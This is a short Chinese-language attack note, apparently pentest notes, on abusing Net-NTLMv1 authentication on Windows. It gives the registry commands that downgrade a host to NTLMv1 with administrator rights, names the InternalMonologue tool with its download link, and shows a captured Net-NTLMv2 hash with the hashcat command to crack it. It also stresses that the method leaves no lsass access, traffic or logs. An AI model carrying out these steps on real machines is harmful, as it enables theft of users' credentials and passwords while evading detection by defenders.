NetNTLMv1的利用思路

Net-NTLMv1的加密方法：

客户端向服务器发送一个请求
服务器接收到请求后，生成一个16位的Challenge，发送回客户端
客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器
服务器校验response

简单的描述：Net-NTLMv1 就是上面加密方法步骤中的 登陆用户的密码对Challenge加密后在内存中保留的值。

利用原因：由于Net-NTLMv1的脆弱性，在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm hash，所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1，获取本机的通信数据，还原出ntlm hash。
实现工具: InternalMonologue

下载地址：

https://github.com/eladshamir/Internal-Monologue

注意点：自Windows Vista/Server2008开始起，微软默认使用Net-NTLMv2协议，想要降级到Net-NTLMv1，首先需要获得当前系统的管理员权限。

修改注册表需要管理员权限：

修改注册表开启Net-NTLMv1：
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

为确保Net-NTLMv1开启成功，还需要修改两处注册表键值：

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

优点：

1、这种方式不会对lsass.exe进程进行操作
2、同本地NTLM SSP进行交互，不会产生流量
3、没有进行NTLM认证，不会产生日志

补充：

如果以普通用户权限执行InternalMonologue，能够获得当前用户权限的Net-NTLMv2数据包，通过hashcat进行破解，能获得当前用户的明文口令

如上图，获得Net-NTLMv2的数据包如下：

a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000

使用hashcat进行字典破解，参数如下：

hashcat -m 5600 a::WIN-BH7SVRRDGVA:1122334455667788:db18ac502e829dfab120e78c041e2f87:01010000000000008e2ddebb92c2d30175f9bda99183337900000000020000000000000000000000 /tmp/password.list --force

参考文章：https://xz.aliyun.com/t/2205

Net-NTLMv1的利用思路